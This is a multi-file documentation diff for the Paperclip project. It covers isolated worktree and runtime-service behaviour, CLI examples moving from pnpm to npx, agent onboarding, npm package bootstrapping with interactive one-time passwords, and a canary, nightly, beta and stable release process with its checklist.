An issue can pin its isolated worktree to an exact pre-existing branch instead of a template-derived one — the contract PR-preparation tasks use. Set the issue's `executionWorkspaceSettings` to `{ "mode": "isolated_workspace", "workspaceStrategy": { "type": "git_worktree", "existingBranch": "<branch>" } }`. The validator requires isolated mode plus a `git_worktree` strategy and rejects `branchTemplate` alongside `existingBranch`. At dispatch the runtime attaches (never creates, renames, fast-forwards, or resets) that branch: it reuses a registered worktree that already has the branch checked out (including legacy `.worktrees/` paths), otherwise it attaches the branch under the managed worktree parent. A missing branch, an occupied worktree path on another branch, or a non-worktree strategy fails closed with a `workspace_validation_failed` error instead of falling back to the shared checkout or a derived branch, and an inherited `reuse_existing` workspace binding on a different branch is ignored in favor of realizing the pinned branch.
|
||||
|
||||
Heavier setup that is only needed by a managed runtime service can use `workspaceStrategy.runtimeProvisionCommand`. Paperclip runs this command lazily before spawning the first service in a start batch, serializes concurrent provisioning for the same workspace, and records the attempt as `workspace_runtime_provision`. The command receives the same workspace environment as `provisionCommand` and should be idempotent because later service-start batches invoke it again.
|
||||
|
||||
Managed runtime control actions (`start`, `stop`, `restart`, and job `run`) are mutually exclusive per execution workspace. An overlapping control is rejected with `409 workspace_runtime_control_in_progress` instead of racing the active operation, and authorization is still checked first, so the conflict never widens who may control a workspace.
|
||||
|
||||
Local managed runtime services write stdout and stderr directly to append-only
|
||||
files under the instance's `runtime-service-logs/` directory. The child inherits
|
||||
the file descriptors rather than supervisor-owned pipes, so request-logging
|
||||
servers remain responsive and adoptable when the control plane restarts.
|
||||
|
||||
Every managed control reaches a terminal operation state. Each one stamps the owning server process and pid on its `workspace_operations` row and heartbeats while it runs, and each one carries a wall-clock ceiling (30 minutes for lifecycle controls, 4 hours for workspace jobs) so a hung provider or listener fails the operation rather than leaving it active. When a start fails part-way, Paperclip tears the workspace's runtime services down through the ordinary stop path and records a stopped desired state, so the lane is retryable and a startup reconcile will not resurrect a service that never came up.
|
||||
|
||||
Recovery of stranded controls is bounded and cannot steal a live operation. A `running` control is only terminalized when its owning process is gone, when the owning request in this process no longer exists, or after 60 seconds without a heartbeat; the terminalizing write is a compare-and-swap on `updated_at`, so an owner that heartbeats concurrently keeps its operation. Recovery runs on server startup and before each managed control, appends reconciliation evidence to the workspace-operation log, and stays inside the requested workspace's scope.
|
||||
|
||||
Readiness probes and port allocation are bounded for the same reason. Each HTTP readiness probe is aborted after at most 5 seconds (never past the service's readiness budget), so a foreign listener that accepts a connection but never answers cannot park a start forever. Auto-allocated loopback ports are reserved in-process for the duration of a start and re-checked for a live owner, and a configured port already claimed by another in-flight start fails that start terminally — so two isolated workspaces asking for the same app/HMR pair either get distinct healthy ports or one fails cleanly and retryably.
|
||||
|
||||
Beyond that in-flight guard, `start`, `stop`, and `restart` also take a durable exclusivity lease on the execution workspace (`execution_workspace_runtime_leases`). The lease is keyed by execution workspace and owned by the controlling issue (or, when a run has no issue in scope, by the run or agent), so it survives across calls, heartbeats, and server processes. The owning issue can keep operating; a different issue or run is rejected with `409 workspace_runtime_lease_conflict` before any workspace operation is recorded and before any runtime service is touched. Board/operator actions bypass the lease entirely and never take the lane away from an agent.
|
||||
|
||||
Lease recovery is bounded and explicit. Another issue may reclaim the lane once the owner becomes ineligible — the owning issue reaches a terminal status, is hidden, or is deleted; the owning run reaches a terminal status — or once the lease's 30-minute TTL elapses without the owner touching it. Archiving the execution workspace releases the lease outright. Conflict responses carry the owning issue/run ids and the lease expiry so an operator can tell who holds the lane.
|
||||
|
||||
For Tailscale HTTPS exposure, readiness includes stable listener-ownership checks for every requested loopback port (the app and, when configured, its Vite HMR companion). Each listener must belong to the spawned managed process group; an unrelated listener that races onto either reserved port fails the start closed before the broker is asked to expose it.
|
||||
|
||||
In Vite middleware mode, Paperclip gives HMR a dedicated HTTP server bound to the managed runtime's loopback host. The browser still derives the HMR hostname from the public HTTPS page, so listener containment does not break remote hot reload.
|
||||
|
||||
## App-Shipped Skills Catalog
|
||||
|
||||
The Paperclip app ships a curated catalog of company skills out of the box. The
|
||||
@@ -793,6 +873,12 @@ Environment overrides:
|
||||
stale-backup warning threshold
|
||||
- `PAPERCLIP_DB_BACKUP_ALERT_FILE=/path/to/failure-marker` lets external cron
|
||||
wrappers surface the last failed backup in `/api/health`
|
||||
- `PAPERCLIP_WORKSPACE_REAPER_COOLDOWN_DAYS=<days>` sets how long the
|
||||
terminal-workspace reaper waits after an issue tree becomes terminal before it
|
||||
archives the execution workspace and deletes the worktree. A person can reopen
|
||||
the work inside this window. The default is `7`. A value of `0` disables the
|
||||
cooldown and restores immediate reaping. A negative or non-numeric value falls
|
||||
back to the default.
|
||||
|
||||
Without `PAPERCLIP_DB_BACKUP_ALERT_FILE`, health checks look for
|
||||
`db-backup-to-s3.failure` in the backup directory, beside the backup directory,
|
||||
@@ -860,15 +946,15 @@ Paperclip CLI now includes client-side control-plane commands in addition to set
|
||||
Quick examples:
|
||||
|
||||
```sh
|
||||
pnpm paperclipai issue list --company-id <company-id>
|
||||
pnpm paperclipai issue create --company-id <company-id> --title "Investigate checkout conflict"
|
||||
pnpm paperclipai issue update <issue-id> --status in_progress --comment "Started triage"
|
||||
npx paperclipai issue list --company-id <company-id>
|
||||
npx paperclipai issue create --company-id <company-id> --title "Investigate checkout conflict"
|
||||
npx paperclipai issue update <issue-id> --status in_progress --comment "Started triage"
|
||||
```
|
||||
|
||||
Set defaults once with context profiles:
|
||||
|
||||
```sh
|
||||
pnpm paperclipai context set --api-base http://localhost:3100 --company-id <company-id>
|
||||
npx paperclipai context set --api-base http://localhost:3100 --company-id <company-id>
|
||||
```
|
||||
|
||||
Then run commands without repeating flags:
|
||||
@@ -952,4 +1038,4 @@ Networking behavior for this smoke script:
|
||||
|
||||
- auto-detects and prints a Paperclip host URL reachable from inside OpenClaw Docker
|
||||
- default container-side host alias is `host.docker.internal` (override with `PAPERCLIP_HOST_FROM_CONTAINER` / `PAPERCLIP_HOST_PORT`)
|
||||
- if Paperclip rejects container hostnames in authenticated/private mode, allow `host.docker.internal` via `pnpm paperclipai allowed-hostname host.docker.internal` and restart Paperclip
|
||||
- if Paperclip rejects container hostnames in authenticated/private mode, allow `host.docker.internal` via `npx paperclipai allowed-hostname host.docker.internal` and restart Paperclip
|
||||
@@ -79,9 +79,9 @@ The UI prompt points Hermes at the same machine-readable onboarding endpoints:
|
||||
For CLI-driven setup, create and inspect the invite directly:
|
||||
|
||||
```sh
|
||||
pnpm paperclipai invite create --company-id <company-id> --payload-json '{"requestType":"agent"}'
|
||||
pnpm paperclipai invite show <token>
|
||||
pnpm paperclipai invite onboarding:text <token>
|
||||
npx paperclipai invite create --company-id <company-id> --payload-json '{"requestType":"agent"}'
|
||||
npx paperclipai invite show <token>
|
||||
npx paperclipai invite onboarding:text <token>
|
||||
```
|
||||
|
||||
Hermes should submit a join request with `requestType: "agent"` and
|
||||
@@ -119,14 +119,14 @@ After Hermes submits the join request:
|
||||
2. Approve it from the board UI, or use:
|
||||
|
||||
```sh
|
||||
pnpm paperclipai join list --company-id <company-id> --status pending_approval
|
||||
pnpm paperclipai join approve <request-id> --company-id <company-id>
|
||||
npx paperclipai join list --company-id <company-id> --status pending_approval
|
||||
npx paperclipai join approve <request-id> --company-id <company-id>
|
||||
```
|
||||
|
||||
3. Hermes claims the one-time agent API key:
|
||||
|
||||
```sh
|
||||
pnpm paperclipai join claim-key <request-id> --claim-secret <secret>
|
||||
npx paperclipai join claim-key <request-id> --claim-secret <secret>
|
||||
```
|
||||
|
||||
4. Store the claimed Paperclip key in Hermes runtime state or secrets. The claim
|
||||
@@ -182,7 +182,7 @@ Use these entry points depending on who is driving setup:
|
||||
onboarding prompt.
|
||||
- Invite API: `GET /api/invites/:token/onboarding.txt` for the generated
|
||||
llm.txt-style setup instructions.
|
||||
- CLI invite flow: `pnpm paperclipai invite create`, `invite show`,
|
||||
- CLI invite flow: `npx paperclipai invite create`, `invite show`,
|
||||
`invite onboarding:text`, `join approve`, and `join claim-key`.
|
||||
- Smoke helpers: `pnpm smoke:hermes-gateway-e2e` for fresh-state Docker
|
||||
verification and `pnpm smoke:hermes-gateway-join` for an already-running
|
||||
|
||||
+7
-1
@@ -23,7 +23,7 @@ bash install.sh
|
||||
The bootstrap script:
|
||||
|
||||
1. verifies that the platform is supported;
|
||||
2. ensures Node.js 20 or newer is available;
|
||||
2. ensures Node.js 24.11 or newer is available;
|
||||
3. delegates installation to `paperclipai install`;
|
||||
4. starts interactive onboarding when stdin and stdout are terminals.
|
||||
|
||||
@@ -241,6 +241,12 @@ paperclipai service status
|
||||
presence and drift, running state, configured port ownership, and the running
|
||||
server version.
|
||||
|
||||
The CLI and server also print a non-blocking startup warning when Node.js is
|
||||
below the supported minimum. Upgrade Node.js with a version manager or follow
|
||||
the downloaded `install.sh` workflow under **Recommended Install**. Do not use
|
||||
the piped form for this repair because it requires a supported Node.js runtime
|
||||
before it starts.
|
||||
|
||||
## Uninstall
|
||||
|
||||
Remove the background service and managed CLI payloads:
|
||||
|
||||
+29
-17
@@ -184,53 +184,65 @@ CI publishing is controlled by [`scripts/release-package-manifest.json`](../scri
|
||||
When you add a new public package:
|
||||
|
||||
1. add it to the manifest and decide whether CI should publish it immediately
|
||||
2. if CI should publish it, bootstrap the package on npm before merge
|
||||
2. if CI should publish it, reserve the name on npm with the placeholder bootstrap before merge
|
||||
3. if CI should not publish it yet, keep `"publishFromCi": false`
|
||||
4. only enable `"publishFromCi": true` after npm trusted publishing is configured for that package
|
||||
|
||||
PR CI now checks changed release-enabled package manifests against npm. That catches a missing first-publish bootstrap before the change reaches `master`.
|
||||
PR CI now checks changed release-enabled package manifests against npm. That catches a missing first-publish bootstrap before the change reaches `master`. When a PR needs this bootstrap, commitperclip also posts an informational notice on the PR naming the exact command, so contributors know a maintainer action is pending rather than something they can fix.
|
||||
|
||||
### One-time bootstrap sequence for a new package
|
||||
|
||||
The first publish of a brand-new package still needs one human maintainer with npm write access.
|
||||
After that, trusted publishing can take over.
|
||||
Creating a brand-new package name on npm still needs one human maintainer with npm write access.
|
||||
After that, trusted publishing takes over — and CI publishes the only real content the package ever gets.
|
||||
|
||||
The bootstrap intentionally does **not** publish the package's real build output.
|
||||
It publishes a tiny placeholder at version `0.0.0` (a manifest, a README, and an
|
||||
`index.js` that throws a descriptive error), because:
|
||||
|
||||
- real package content should only ever reach npm from CI, after the PR that adds the package has been reviewed and merged
|
||||
- the PR CI gate only requires the name to resolve on the registry
|
||||
- the trusted publisher rule can only be configured once the package page exists
|
||||
- the placeholder needs no local build and no workspace state, so it can be published from any checkout (including `master`, before the new package's PR merges)
|
||||
|
||||
Example for a newly added public package from the repo root:
|
||||
|
||||
```bash
|
||||
# safe preview
|
||||
# safe preview (stages the placeholder and runs npm publish --dry-run)
|
||||
pnpm run release:bootstrap-package -- @paperclipai/new-package
|
||||
|
||||
# one-time first publish from an authenticated maintainer machine
|
||||
pnpm run release:bootstrap-package -- @paperclipai/new-package --publish --otp 123456
|
||||
# one-time placeholder publish from an authenticated maintainer machine
|
||||
# (prompts for npm one-time passwords; they are never passed as arguments)
|
||||
pnpm run release:bootstrap-package -- @paperclipai/new-package --publish
|
||||
```
|
||||
|
||||
The helper script:
|
||||
|
||||
- refuses names outside the `@paperclipai/` scope
|
||||
- checks that the package does not already exist on npm
|
||||
- builds the target package unless `--skip-build` is passed
|
||||
- runs `pnpm publish <package-dir> --dry-run --no-git-checks --access public` from the repo root
|
||||
- only runs the real `pnpm publish <package-dir> --no-git-checks --access public` when `--publish --otp <code>` is provided
|
||||
- stages the placeholder in a temporary directory and previews it with `npm publish --dry-run --access public`
|
||||
- with `--publish`, prompts for a one-time password and publishes. Codes are entered interactively and handed to npm through its environment (`npm_config_otp`), so they never appear on a command line, in shell history, or in a process listing; a rejected or expired code re-prompts
|
||||
- then waits for the registry to show the package (a first publish can take a few minutes to become visible on the read/write endpoints) and prompts for a second code to deprecate the placeholder, so accidental installs warn loudly. If the wait times out or the deprecation fails, it prints the exact `npm deprecate` command to run manually
|
||||
|
||||
The helper intentionally uses `pnpm publish` instead of `npm publish` so workspace
|
||||
dependencies and `publishConfig` export fields are normalized before the package
|
||||
is sent to the registry.
|
||||
Until the first stable release supersedes it, the `latest` dist-tag points at the
|
||||
deprecated placeholder. Internal consumers are unaffected: release version
|
||||
rewrites pin exact calver versions, so nothing inside the release package set
|
||||
resolves through `latest`.
|
||||
|
||||
For the real `--publish` step, the maintainer machine must already be authenticated to npm.
|
||||
If `npm whoami` returns `401`, first run `npm logout --registry=https://registry.npmjs.org/` to clear any stale local auth, then run `npm login` or `npm adduser` locally as an npm org member, and finally rerun the helper.
|
||||
That local human auth is fine for the one-time bootstrap publish; we just do not want the same auth model inside CI.
|
||||
The helper now requires `--otp <code>` up front for `--publish`, so it fails before the real publish attempt if the one-time password is missing.
|
||||
`--publish` requires an interactive terminal: the helper prompts for the one-time password right before the publish and again before the deprecation, handing each code to npm through its environment (`npm_config_otp`), so codes never appear in command arguments, shell history, or process listings.
|
||||
|
||||
After that first publish succeeds:
|
||||
After the placeholder publish succeeds:
|
||||
|
||||
1. open `https://www.npmjs.com/package/@paperclipai/new-package`
|
||||
2. go to `Settings` → `Trusted publishing`
|
||||
3. add repository `paperclipai/paperclip`
|
||||
4. set workflow filename to `release.yml`
|
||||
5. optionally go to `Settings` → `Publishing access` and enable `Require two-factor authentication and disallow tokens`
|
||||
6. keep `publishFromCi: true` in [`scripts/release-package-manifest.json`](../scripts/release-package-manifest.json)
|
||||
6. only then set `"publishFromCi": true` in [`scripts/release-package-manifest.json`](../scripts/release-package-manifest.json)
|
||||
|
||||
Once those steps are done, future canary and stable publishes for that package are automated through GitHub OIDC. The manual step is only the first package creation on npm.
|
||||
Once those steps are done, future canary and stable publishes for that package are automated through GitHub OIDC. The manual step only reserves the name on npm; every real version ships from CI.
|
||||
|
||||
## Rollback model
|
||||
|
||||
|
||||
@@ -113,9 +113,10 @@ Goal:
|
||||
|
||||
## 4. Create GitHub Environments
|
||||
|
||||
Create two environments in the GitHub repository:
|
||||
Create three environments in the GitHub repository:
|
||||
|
||||
- `npm-canary`
|
||||
- `npm-beta`
|
||||
- `npm-stable`
|
||||
|
||||
Path:
|
||||
@@ -141,6 +142,35 @@ Reasoning:
|
||||
- every push to `master` should be able to publish a canary automatically
|
||||
- no human approval should be required for canaries
|
||||
|
||||
The scheduled nightly lane also publishes under `npm-canary`: it is the same
|
||||
trust level (fully automated, no human gate), its runs execute on `master` so
|
||||
the branch rule is satisfied, and reusing the environment means the nightly
|
||||
lane required no new environments and no npm trusted-publisher changes
|
||||
(publishing still happens from `release.yml`, see section 2.2).
|
||||
|
||||
## 5.1. Configure `npm-beta`
|
||||
|
||||
Recommended settings for `npm-beta`:
|
||||
|
||||
- environment name: `npm-beta`
|
||||
- required reviewers: at least one maintainer
|
||||
- prevent self-review: enabled when your team size allows it
|
||||
- wait timer: none
|
||||
- deployment branches and tags:
|
||||
- selected branches only
|
||||
- allow `master`
|
||||
|
||||
Reasoning:
|
||||
|
||||
- beta promotions are deliberate human decisions; the required reviewer on
|
||||
this environment is the promotion gate
|
||||
- create this environment before the first `channel: beta` dispatch. If the
|
||||
workflow runs first, GitHub auto-creates the environment with no
|
||||
protection rules, and that first beta would publish without approval
|
||||
|
||||
Like nightly, beta publishing lives in `release.yml`, so no npm
|
||||
trusted-publisher changes are needed (see section 2.2).
|
||||
|
||||
## 6. Configure `npm-stable`
|
||||
|
||||
Recommended settings for `npm-stable`:
|
||||
|
||||
@@ -0,0 +1,83 @@
|
||||
# Release Checklist
|
||||
|
||||
The release captain's checklist for every lane. The mechanics live in
|
||||
[`RELEASING.md`](RELEASING.md); the user-facing channel guide is
|
||||
[`CHANNELS.md`](CHANNELS.md).
|
||||
|
||||
## Canary (automatic, every `master` push)
|
||||
|
||||
- [ ] the push's `Release` run is green (verify + publish)
|
||||
- [ ] `npm view paperclipai@canary version` matches the expected canary
|
||||
- [ ] Docker `:canary` updated (the same push's `Docker` run)
|
||||
- [ ] a canary publish failure is a release-infra regression — fix it before
|
||||
trusting later promotions
|
||||
|
||||
## Nightly (automatic, 09:00 UTC)
|
||||
|
||||
- [ ] the scheduled run selected the newest green canary, or skipped with a
|
||||
job-summary reason (no new candidate / already shipped / red smoke)
|
||||
- [ ] the release smoke suite passed against the exact candidate canary
|
||||
before anything published
|
||||
- [ ] `npm view paperclipai@nightly version` shows the new `-nightly.N`
|
||||
- [ ] `nightly/v*` tag pushed; `:nightly` and `:nightly-cloud` images built
|
||||
- [ ] on a tag-push rejection (workflows-permission error), follow the
|
||||
recovery commands in the job summary
|
||||
|
||||
To force a nightly: dispatch `release.yml` with `channel: nightly`
|
||||
(optional exact canary in `source_version`; `dry_run` to preview).
|
||||
|
||||
## Beta (manual promotion)
|
||||
|
||||
Happy path:
|
||||
|
||||
- [ ] pick the nightly to promote (empty `source_version` selects the newest)
|
||||
- [ ] dispatch `release.yml` with `channel: beta`
|
||||
- [ ] approve the `npm-beta` environment gate
|
||||
- [ ] `npm view paperclipai@beta version` shows the new `-beta.N`
|
||||
- [ ] `beta/v*` tag pushed; `:beta` and `:beta-cloud` images built
|
||||
- [ ] post-publish smoke (`smoke_beta`) is green
|
||||
- [ ] `draft_stable_notes` pushed `release-notes/v<beta-version>`; open the
|
||||
notes PR from the job-summary link
|
||||
- [ ] during the soak: edit the notes PR into release voice and merge it
|
||||
(the stable promotion reads `releases/beta/v<beta-version>.md` from
|
||||
`master`)
|
||||
|
||||
Fix path (cherry-picked candidate):
|
||||
|
||||
- [ ] cut `candidate/beta-<target>` from the chosen nightly's source commit
|
||||
- [ ] cherry-pick only the required fixes; push the branch
|
||||
- [ ] dispatch `channel: beta` with `candidate_branch`
|
||||
- [ ] confirm the job summary records the cherry-picked commits and that
|
||||
full verification ran on the candidate head
|
||||
- [ ] after shipping: reconcile the fixes to `master`, delete the branch
|
||||
|
||||
## Stable (manual promotion)
|
||||
|
||||
- [ ] pick the beta to promote; its source commit is `source_ref`
|
||||
- [ ] the beta has soaked ≥ 3 days with no open beta-blocker issues
|
||||
- [ ] the beta's notes PR (`releases/beta/v<beta-version>.md`) is merged on
|
||||
`master` — preflight fails, before the approval gate, without it
|
||||
- [ ] dispatch `release.yml` with `channel: stable` (a dry run first shows
|
||||
the resolved version and soak state without publishing)
|
||||
- [ ] approve the `npm-stable` environment gate
|
||||
- [ ] `npm view paperclipai version` (dist-tag `latest`) shows the stable
|
||||
- [ ] `vYYYY.MDD.P` tag pushed; GitHub Release created; `:latest` and the
|
||||
versioned Docker tags built
|
||||
- [ ] if the soak gate was bypassed, `skip_soak_justification` carries a
|
||||
real written reason (it lands in the job summary)
|
||||
- [ ] open and merge the canonicalization PR
|
||||
(`release-notes/v<version>-canonicalize`) so the notes land at
|
||||
`releases/vYYYY.MDD.P.md`
|
||||
|
||||
Fix path: `candidate/release-<target>` from the beta's source commit; the
|
||||
soak gate will demand a justification because the exact bits were not
|
||||
soaked — write one that stands on its own. A candidate branch carries its
|
||||
own `releases/vYYYY.MDD.P.md` (preflight prefers source-tree notes), so
|
||||
author the notes as a commit on the candidate.
|
||||
|
||||
## After any incomplete run
|
||||
|
||||
The failure playbooks in [`RELEASING.md`](RELEASING.md) cover: red canary,
|
||||
skipped or failed nightly, a beta that looks bad during soak, partial
|
||||
stable releases, broken `latest`, and rejected tag pushes. Every publish
|
||||
job's summary names what completed and what remains.
|
||||
+254
-13
@@ -5,9 +5,18 @@ Maintainer runbook for shipping Paperclip across npm, GitHub, and the website-fa
|
||||
The release model is now commit-driven:
|
||||
|
||||
1. Every push to `master` publishes a canary automatically.
|
||||
2. Stable releases are manually promoted from a chosen tested commit or canary tag.
|
||||
3. Stable release notes live in `releases/vYYYY.MDD.P.md`.
|
||||
4. Only stable releases get GitHub Releases.
|
||||
2. Once a night, the newest master commit with a green canary publish is
|
||||
smoke-tested and republished as the nightly.
|
||||
3. Betas are manual, human-approved promotions of a chosen nightly.
|
||||
4. Stable releases promote a beta that has soaked for at least 3 days
|
||||
(bypass requires a written justification).
|
||||
5. Stable release notes live in `releases/vYYYY.MDD.P.md`. They are
|
||||
drafted automatically when a beta is published (as
|
||||
`releases/beta/v<beta-version>.md` on `master`), edited during the
|
||||
soak, and moved to the versioned name after the stable ships.
|
||||
6. Only stable releases get GitHub Releases.
|
||||
|
||||
The user-facing guide to the channels is [`CHANNELS.md`](CHANNELS.md).
|
||||
|
||||
## Versioning Model
|
||||
|
||||
@@ -15,12 +24,20 @@ Paperclip uses calendar versions that still fit semver syntax:
|
||||
|
||||
- stable: `YYYY.MDD.P`
|
||||
- canary: `YYYY.MDD.P-canary.N`
|
||||
- nightly: `YYYY.MDD.P-nightly.N`
|
||||
- beta: `YYYY.MDD.P-beta.N`
|
||||
|
||||
Examples:
|
||||
|
||||
- first stable on March 18, 2026: `2026.318.0`
|
||||
- second stable on March 18, 2026: `2026.318.1`
|
||||
- fourth canary for the `2026.318.1` line: `2026.318.1-canary.3`
|
||||
- first nightly cut on March 18, 2026: `2026.318.1-nightly.0`
|
||||
- first beta promoted on March 18, 2026: `2026.318.1-beta.0`
|
||||
|
||||
A promotion republishes the exact source commit of the previous lane's build
|
||||
(canary → nightly → beta); the version dates the promotion, not the source
|
||||
build.
|
||||
|
||||
Important constraints:
|
||||
|
||||
@@ -41,16 +58,32 @@ Every stable release has four separate surfaces:
|
||||
|
||||
A stable release is done only when all four surfaces are handled.
|
||||
|
||||
Canaries only cover the first two surfaces plus an internal traceability tag.
|
||||
Canaries, nightlies, and betas only cover the first two surfaces plus an
|
||||
internal traceability tag.
|
||||
|
||||
## Core Invariants
|
||||
|
||||
- canaries publish from `master`
|
||||
- stables publish from an explicitly chosen source ref
|
||||
- nightlies republish a commit that already shipped a canary (the commit must
|
||||
carry a `canary/v*` tag), and only after the release smoke suite passes
|
||||
against that exact published canary
|
||||
- betas republish a commit that already shipped a nightly (the commit must
|
||||
carry a `nightly/v*` tag), behind the `npm-beta` approval gate, and the
|
||||
published beta is re-smoked
|
||||
- stables publish from an explicitly chosen source ref, which must have
|
||||
shipped as a beta at least 3 days earlier unless a written justification
|
||||
is provided
|
||||
- tags point at the original source commit, not a generated release commit
|
||||
- stable notes are always `releases/vYYYY.MDD.P.md`
|
||||
- canaries never create GitHub Releases
|
||||
- canaries never require changelog generation
|
||||
- stable notes are always `releases/vYYYY.MDD.P.md` in the end state: a
|
||||
promoted beta's notes are drafted and edited at
|
||||
`releases/beta/v<beta-version>.md` on `master` during the soak (the
|
||||
promoted commit cannot carry a file named for a promotion date that was
|
||||
unknown when it was created), and a post-stable canonicalization PR
|
||||
moves them to the versioned name
|
||||
- canaries, nightlies, and betas never create GitHub Releases
|
||||
- canaries, nightlies, and betas never require changelog generation
|
||||
- Docker `:latest` moves only on stable releases; master builds publish
|
||||
`:canary`, nightly builds `:nightly`, and beta builds `:beta`
|
||||
|
||||
## TL;DR
|
||||
|
||||
@@ -78,6 +111,98 @@ npx paperclipai@canary onboard
|
||||
npx paperclipai@canary onboard --data-dir "$(mktemp -d /tmp/paperclip-canary.XXXXXX)"
|
||||
```
|
||||
|
||||
### Nightly
|
||||
|
||||
A scheduled job in [`.github/workflows/release.yml`](../.github/workflows/release.yml)
|
||||
runs once a night at 09:00 UTC.
|
||||
|
||||
It:
|
||||
|
||||
- selects the newest commit on `master` that carries a `canary/v*` tag (the
|
||||
tag is pushed only after a successful canary publish, so it is the
|
||||
green-publish signal)
|
||||
- skips with a job-summary reason when there is no new candidate or the
|
||||
candidate already shipped as a nightly
|
||||
- runs the release smoke suite ([`release-smoke.yml`](../.github/workflows/release-smoke.yml))
|
||||
against that exact published canary version — red smoke means no nightly
|
||||
tonight
|
||||
- republishes the same source commit as `YYYY.MDD.P-nightly.N` under the npm
|
||||
dist-tag `nightly` (the commit was already verified by its canary run, so
|
||||
verification is not repeated)
|
||||
- creates and pushes the git tag `nightly/vYYYY.MDD.P-nightly.N`
|
||||
- dispatches [`docker.yml`](../.github/workflows/docker.yml) at that tag to
|
||||
publish the `:nightly` images
|
||||
|
||||
To force a nightly outside the schedule (recovery, or promoting a specific
|
||||
canary), dispatch `release.yml` with `channel: nightly`. Leave
|
||||
`source_version` empty for automatic selection, or set it to an exact
|
||||
canary version. `dry_run: true` previews the publish and skips smoke, the tag
|
||||
push, and the Docker dispatch.
|
||||
|
||||
Users install nightlies with:
|
||||
|
||||
```bash
|
||||
npx paperclipai@nightly onboard
|
||||
```
|
||||
|
||||
### Beta
|
||||
|
||||
Betas are manual promotions. Dispatch
|
||||
[`release.yml`](../.github/workflows/release.yml) with `channel: beta`.
|
||||
|
||||
- leave `source_version` empty to promote the newest nightly, or set it to an
|
||||
exact nightly version such as `2026.807.0-nightly.0`
|
||||
- the selection job resolves the nightly's source commit and fails loudly if
|
||||
it does not exist or already shipped as a beta
|
||||
- the publish waits for approval in the **`npm-beta` environment** — its
|
||||
required reviewers are the promotion gate
|
||||
- promotions run the release tooling of the source commit, so the source
|
||||
nightly must postdate the beta channel's introduction; the selection job
|
||||
rejects older sources with a clear error (in practice every nightly cut
|
||||
after the beta tooling merged qualifies)
|
||||
- the same commit is republished as `YYYY.MDD.P-beta.N` under the npm
|
||||
dist-tag `beta`, tagged `beta/vYYYY.MDD.P-beta.N`, and `docker.yml` is
|
||||
dispatched at that tag to publish the `:beta` images
|
||||
- after publishing, the release smoke suite runs against the exact published
|
||||
beta version as verification
|
||||
- a `draft_stable_notes` job also generates the eventual stable's notes
|
||||
skeleton — `releases/beta/v<beta-version>.md`, grouped from
|
||||
`git log <last-stable-tag>..<source-commit>` — and force-pushes it to the
|
||||
machine-owned `release-notes/v<beta-version>` branch. Open the PR from
|
||||
the job-summary link (a human opens it so CI runs) and edit the notes
|
||||
during the soak; the stable promotion reads the merged file from
|
||||
`master`
|
||||
- `dry_run: true` previews the publish and skips the tag push, Docker
|
||||
dispatch, and post-publish smoke
|
||||
|
||||
Users install betas with:
|
||||
|
||||
```bash
|
||||
npx paperclipai@beta onboard
|
||||
```
|
||||
|
||||
#### Beta fix path: candidate branches
|
||||
|
||||
When one or two targeted fixes are needed before beta and waiting for the
|
||||
next nightly (or absorbing a whole day of `master`) is wrong, build the beta
|
||||
from a short-lived candidate branch:
|
||||
|
||||
1. cut `candidate/beta-<target>` from the chosen nightly's source commit
|
||||
(for example `candidate/beta-2026.811.0`)
|
||||
2. cherry-pick only the required fix commits onto it and push the branch
|
||||
3. dispatch `release.yml` with `channel: beta` and `candidate_branch:
|
||||
candidate/beta-<target>`
|
||||
4. selection validates the branch name, rejects heads that already shipped
|
||||
as a beta, records the cherry-picked commits in the job summary, and the
|
||||
head runs **full verification** before publishing (it never went through
|
||||
a canary or nightly)
|
||||
5. after the beta ships, land the fixes on `master` normally and delete the
|
||||
candidate branch
|
||||
|
||||
Use this sparingly: the happy path is promoting a nightly. A candidate build
|
||||
has its own `-beta.N` identity and is never pretended to be the nightly it
|
||||
was cut from.
|
||||
|
||||
### Stable
|
||||
|
||||
Use [`.github/workflows/release.yml`](../.github/workflows/release.yml) from the Actions tab with the manual `workflow_dispatch` inputs.
|
||||
@@ -86,20 +211,44 @@ Use [`.github/workflows/release.yml`](../.github/workflows/release.yml) from the
|
||||
|
||||
Inputs:
|
||||
|
||||
- `channel`
|
||||
- `stable` (the default) for a stable release; `beta` and `nightly` run
|
||||
those lanes instead (see above)
|
||||
- `source_ref`
|
||||
- commit SHA, branch, or tag
|
||||
- `stable_date`
|
||||
- optional UTC date override in `YYYY-MM-DD`
|
||||
- enter a date like `2026-03-18`, not a version like `2026.318.0`
|
||||
- `skip_soak_justification`
|
||||
- written reason for releasing a stable whose source has not soaked as a
|
||||
beta for 3 days; leave empty for normal releases
|
||||
- `dry_run`
|
||||
- preview only when true
|
||||
|
||||
The stable preflight enforces the beta soak: the source commit must carry a
|
||||
`beta/v*` tag whose npm publish time is at least 3 days old. If it is not,
|
||||
the run fails unless `skip_soak_justification` is provided; the justification
|
||||
is echoed into the job summary. Dry runs report soak state without blocking.
|
||||
|
||||
For a cherry-picked stable (the release fix path), cut
|
||||
`candidate/release-<target>` from the chosen beta's source commit,
|
||||
cherry-pick the required fixes, push the branch, and use it as
|
||||
`source_ref`. The candidate head carries no `beta/v*` tag, so the soak gate
|
||||
requires `skip_soak_justification` — that is deliberate: the exact bits were
|
||||
not soaked, and the justification is the recorded trade-off. Reconcile the
|
||||
fixes back to `master` and delete the branch after shipping.
|
||||
|
||||
Before running stable:
|
||||
|
||||
1. pick the canary commit or tag you trust
|
||||
2. resolve the target stable version with `./scripts/release.sh stable --date "$(date +%F)" --print-version`
|
||||
3. create or update `releases/vYYYY.MDD.P.md` on that source ref
|
||||
4. run the stable workflow from that source ref
|
||||
1. pick the beta you are promoting (its source commit is the `source_ref`)
|
||||
2. confirm the beta has soaked for 3 days with no open blockers
|
||||
3. resolve the target stable version with `./scripts/release.sh stable --date "$(date +%F)" --print-version`
|
||||
4. make sure the notes PR from the beta's draft branch
|
||||
(`release-notes/v<beta-version>`, adding
|
||||
`releases/beta/v<beta-version>.md`) is merged on `master` — or, for
|
||||
candidate builds, that the candidate branch itself carries
|
||||
`releases/vYYYY.MDD.P.md`
|
||||
5. run the stable workflow from that source ref
|
||||
|
||||
Example:
|
||||
|
||||
@@ -111,9 +260,36 @@ The workflow:
|
||||
|
||||
- re-verifies the exact source ref
|
||||
- computes the next stable patch slot for the chosen UTC date
|
||||
- resolves the release notes in preflight: `releases/vYYYY.MDD.P.md` at
|
||||
the source commit (the candidate fix path) takes precedence, otherwise
|
||||
`releases/beta/v<beta-version>.md` on `master` (a promoted beta). When
|
||||
neither exists the run fails before the `npm-stable` approval gate with
|
||||
the missing path named
|
||||
